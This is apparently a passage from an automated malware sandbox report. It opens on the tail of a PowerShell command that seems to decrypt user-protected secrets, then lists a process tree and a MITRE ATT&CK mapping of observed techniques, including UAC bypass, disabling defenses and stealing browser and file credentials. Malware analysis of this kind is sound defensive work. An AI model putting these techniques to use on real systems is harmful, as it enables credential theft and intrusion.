,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:756

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:1724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...